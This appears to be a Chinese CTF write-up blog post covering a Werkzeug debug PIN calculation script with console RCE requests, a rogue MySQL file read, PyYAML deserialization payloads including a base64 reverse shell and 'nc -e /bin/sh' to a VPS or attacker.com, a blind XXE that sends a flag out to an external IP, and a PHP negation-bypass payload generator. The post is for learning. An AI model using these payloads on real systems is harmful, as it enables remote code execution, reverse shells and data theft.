?ctf 好像什么都能读(复现 PIN码 Flask 的 debug 模式会提供一个强大的交互式调试器,这个调试器本质上可以在服务器上执行任意代码。
为了防止未授权用户滥用调试器,werkzeug 会生成一个 PIN 码。首次访问调试页面时,需要输入这个 PIN码才能解锁调试功能。
参考博客
新版flask pin码计算-先知社区
新版flask的pin码计算 - m1xian - 博客园
pin码主要由六个参数构成:
probably_public_bits 公钥部分
1.username:执行代码时的用户名,读/etc/passwd这个文件
2.appname:固定值,默认是 Flask
3.modname:固定值,默认是 flask.app
4.moddir: app.py 文件所在路径,一般可以通过查看debug报错信息获得
private_bits 私钥部分: 1.uuid:通过读取 /sys/class/net/eth0/address 获取,一般得到的是一串十六进制数,将其中的横杠去掉然后转成十进制
2.machine_id:首先读取 /etc/machine-id ,如果有值则不读取取/proc/sys/kernel/random/boot_id ,否则读取该文件。接着读取 /proc/self/cgroup ,取第一行的/ 后面的所有字符串,与上面读到的值拼接起来,最后得到 machine_id
脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 import hashlibfrom itertools import chainprobably_public_bits = [ 'ctf' , 'flask.app' , 'Flask' , '/home/ctf/.local/lib/python3.13/site-packages/flask/app.py' ] private_bits = [ '235821916857788' , '89b34b88-6f33-4c4b-8a30-69a4ba41fd0e' ] h = hashlib.sha1() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance (bit, str ): bit = bit.encode('utf-8' ) h.update(bit) h.update(b'cookiesalt' ) cookie_name = '__wzd' + h.hexdigest()[:20 ] print (cookie_name)num = None if num is None : h.update(b'pinsalt' ) num = ('%09d' % int (h.hexdigest(), 16 ))[:9 ] rv = None if rv is None : for group_size in 5 , 4 , 3 : if len (num) % group_size == 0 : rv = '-' .join(num[x:x + group_size].rjust(group_size, '0' ) for x in range (0 , len (num), group_size)) break else : rv = num
报错得到绝对位置,同时得到secret
1 /sys/class /net /eth0 /address
将得到的数字去掉冒号后化为十进制
1 /proc/sys/kernel/random/boot_id
得到machine-id
获取cookie: 1 2 3 4 5 6 7 8 GET /console?__debugger__=yes&cmd=pinauth&pin=699 -028 -928 &s=MPzwdNt9TXDCxvbOjj4D HTTP/1.1 Host: 127.0 .0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0 ; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0 .5845.141 Safari/537.36 Accept: *
接着构造执行指令: 1 2 3 4 5 6 7 8 9 10 11 GET /console?__debugger__=yes&cmd=__import__ (%27 os%27 ).popen (%27 cat%20 /fl*%27 ).read ()&frm=0 &s=MPzwdNt9TXDCxvbOjj4D HTTP/1.1 Host: 127.0 .0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0 ; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0 .5845.141 Safari/537.36 Accept: *
?CTF复现 mysql管理工具 利用了老版本mysql的漏洞获取读取文件的权限
18.MYSQL任意文件读取 · Aaron 知识库
也有现成执行文件
https://github.com/allyshka/Rogue-MySql-Server(看文件就知道是老东西了
题解 先说这道题吧
先是一个登录页面,听名字以为是sql注入,但是测试没有发现注入点,看源码发现是弱口令,藏在源码里
抓包看看,猜测是拟造cookie密钥
这格式就很jwt
爆破一下key
然后就可以拟写jwt了
失败了,看了wp后才知道这道题要用到上面那个东西,伪造一个服务端,接收命令,不知道为什么,python脚本用不了,最后我是用项目中的linux版本运行的
放到vps上,然后配置文件
如图
host接收所有IP,开放3309端口,然后查看源码,需要配置的基本就这些
可以看到已经读到源码了,cat一下
源码审计……看不出什么,喂给ai
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 @app.route('/uneed1t' , methods=['GET' ] ) def uneed1t (): data = request.args.get('data' , '' ) if data == '' : return jsonify({"result" : "null" }) try : black_list = [ "system" , "popen" , "run" , "os" ] for forb in black_list: if forb in data: return jsonify({"result" :"error" }) yaml.load(data, Loader=yaml.Loader) return jsonify({"result" : "ok" }) except Exception as e: return jsonify({"result" :"error" })
ai说这一段存在yaml反序列化,但是有黑名单,采用在vps上弹shell的方式
#任意⽂件读的利⽤
1 !!python/object /apply:subprocess.Popen- ["sh" ,"-c" ,"cat /f* >1.txt" ]
#弹shell 可以起socket去打
1 !!python/object /apply:subprocess.Popen- ["python" , "-c" , "import base64;base64exp='aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIml wIixwb3J0KSk7b3MuZHVwMihzLmZpbGVubygpLDApOyBvcy5kdXAyKHMuZmlsZW5vKCksMSk7b3MuZHVwMihzLmZpbGVubygpLDIpO2ltcG9ydCBwdHk7IHB0eS5zcGF3bigic2giKQ" ' ' ;exp=base64.b64decode(base64exp).decode();exec (exp)"]
1 !!python/object /apply:subprocess.call [['/bin/busybox' ,'nc' ,'vps的ip地 址' ,'nc监听端⼝' ,'-e' ,'/bin/sh' ]]
首先要在vps上安装nc,然后要确保你选择的端口开放了,就可以执行命令了
关于yaml反序列化 1. 代码层面的识别标志 关键函数调用 python
1 2 3 4 5 6 7 # 危险的使用方式 yaml.load(data) # 默认使用不安全的 Loader yaml.load(data, Loader=yaml.Loader) # 显式使用不安全的 Loader # 安全的使用方式 yaml.safe_load(data) # 安全 yaml.load(data, Loader=yaml.SafeLoader) # 安全
用户输入直接传递给 yaml.load() python
1 2 3 4 # 危险模式 - 用户可控输入直接反序列化 data = request.args.get('data') # 来自用户输入 data = request.json['data'] # 来自用户输入 yaml.load(data) # 直接反序列化
2. YAML 反序列化的特殊语法特征 Python 对象构造标记 yaml
1 2 3 4 5 6 7 8 9 10 # !!python/object 创建 Python 对象 !!python/object:os.system !!python/object:subprocess.Popen # !!python/object/apply 调用函数 !!python/object/apply:os.system - "whoami" # !!python/object/new 创建新实例 !!python/object/new:os.system
特殊标签前缀 yaml
1 2 3 4 !!python/object:module.classname # Python 对象 !!python/name:module.function # Python 名称 !!python/module:package.module # Python 模块 !!python/attr:object.attribute # Python 属性
3. 攻击载荷的常见模式 命令执行载荷 yaml
1 2 3 4 5 6 7 8 9 10 11 # 直接系统命令 !!python/object/apply:os.system ["id"] # 使用 subprocess !!python/object/apply:subprocess.Popen - ["cat", "/etc/passwd"] # 链式调用 !!python/object/apply:__import__ ["os"] args: ["system"] - ["whoami"]
文件操作载荷 yaml
1 2 3 4 5 6 7 8 # 读取文件 !!python/object/apply:open - ["/etc/passwd", "r"] # 写入文件 !!python/object/apply:open - ["/tmp/backdoor.py", "w"] - ["__import__('os').system('nc -e /bin/sh attacker.com 4444')"]
4. 漏洞存在的上下文环境 危险的使用场景 python
1 2 3 4 5 6 7 8 9 10 11 12 13 14 # 场景1: 配置加载 config = yaml.load(user_provided_config) # 场景2: 数据交换 data = yaml.load(request.data) # 场景3: 缓存反序列化 cached_data = yaml.load(redis.get('user_data')) # 场景4: API 参数处理 @app.route('/load') def load_data(): data = request.args.get('yaml_data') return yaml.load(data) # 危险!
5. 识别技巧总结 代码审计时关注:
导入语句 : import yaml 或 from yaml import load
函数调用 : 查找 yaml.load() 调用
参数来源 : 检查参数是否来自用户输入
Loader 类型 : 确认是否使用不安全的 Loader
先粗略的了解一下,以后系统性的学习
查查忆(复现 看源码提示
这是一道xml但是过滤了伪协议关键字与<!ENTITY,而且还无回显,无回显的话用vps外带,过滤用utf-7编码绕过
1.xml内容,这里我在1.dtd当前目录起了一个pyhton服务器,因为dtd必须要能公网访问到,然后vps监听5000端口
1 2 3 4 5 <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE a [ <!ENTITY % dtd SYSTEM "http://101.200.39.193/1.dtd" > %dtd;%code;%send; ]>
1.dtd的内容,使用php://filter获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器,(==1.dtd内部的%号要进行实体编码成%== 。这里卡我半天,因为wp这里错了)
1 2 <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/f1111llllaa44g"> <!ENTITY % code "<!ENTITY % send SYSTEM 'http://81.71.18.95:11111/%file;'>">
用cyberchef将xml文件编写一下,变成UTF-7进行绕过
1 2 <?xml version="1.0" encoding="UTF-7" ?> +ADw-+ACE-DOCTYPE+ACA-a+ACA-+AFs-+AA0-+AAo-+ADw-+ACE-ENTITY+ACA-+ACU-+ACA-dtd+ACA-SYSTEM+ACA-+ACI-http://81.71.18.95/1.dtd+ACI-+AD4-+AA0-+AAo-+ACU-dtd+ADs-+ACU-code+ADs-+ACU-send+ADs-+AA0-+AAo-+AF0-+AD4-
先起一个http接收端在1.dtd所在的目录
然后监听dtd文件中所用的执行端口(我这里是11111端口,这里需要保证接收端口和执行端口都开放
然后就能获取到flag,解码一下就行了
ezphp(复现 1 2 3 4 5 6 7 8 9 10 11 12 13 <?php error_reporting (0 );highlight_file (__FILE__ );$code = $_GET ['c1n_y0.u g3t+fl&g?' ];if (preg_match ("/[A-Za-z0-9]+/" ,$code )){ die ("hacker!" ); } if (strlen ($code )>14 ){ die ("is tooooooooooooooooooo long!" ); } echo "Flag is in flag.php~~ (local)." ;@eval ($code ); ?> Flag is in flag.php~~ (local).
第一步,不合法参数名,用[代替_,再url编码
1 ?c1n[y0.u%20 g3t%2 Bfl%26 g%3 F
之后取反绕过,附上一个用的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 import sysdef generate_negation_payload (input_str ): """生成PHP取反Payload""" negated_bytes = [] for char in input_str: negated = (~ord (char)) & 0xFF negated_bytes.append(negated) urlencoded = '' .join(['%' + format (byte, '02X' ) for byte in negated_bytes]) param_payload = f'$_=~{urlencoded} ;`$_`;' return urlencoded, param_payload def main (): print ("PHP取反Payload生成器 (Ctrl+C 或输入 exit 退出)" ) print ("-" * 50 ) while True : try : user_input = input ("\n请输入需要取反的字符串 (例如: ls /): " ).strip() if not user_input: continue if user_input.lower() in ['exit' , 'quit' , 'q' ]: print ("退出程序" ) break urlencoded, param_payload = generate_negation_payload(user_input) print (f"取反后的URL编码: {urlencoded} " ) print (f"传参用Payload (浏览器自动解码):" ) print (f"{param_payload} " ) except KeyboardInterrupt: print ("\n\n程序已终止" ) break except Exception as e: print (f"错误: {e} " ) if __name__ == "__main__" : main()
1 2 $_ =~%C1%9 C%9 E%8 B;`$_ `;$_ =~%D5%DF%C1%C2;`$_ `;
然后访问/=就可以获得日志
< NEWER
高等数学上册基础知识点总结
OLDER >
fenjing(焚靖)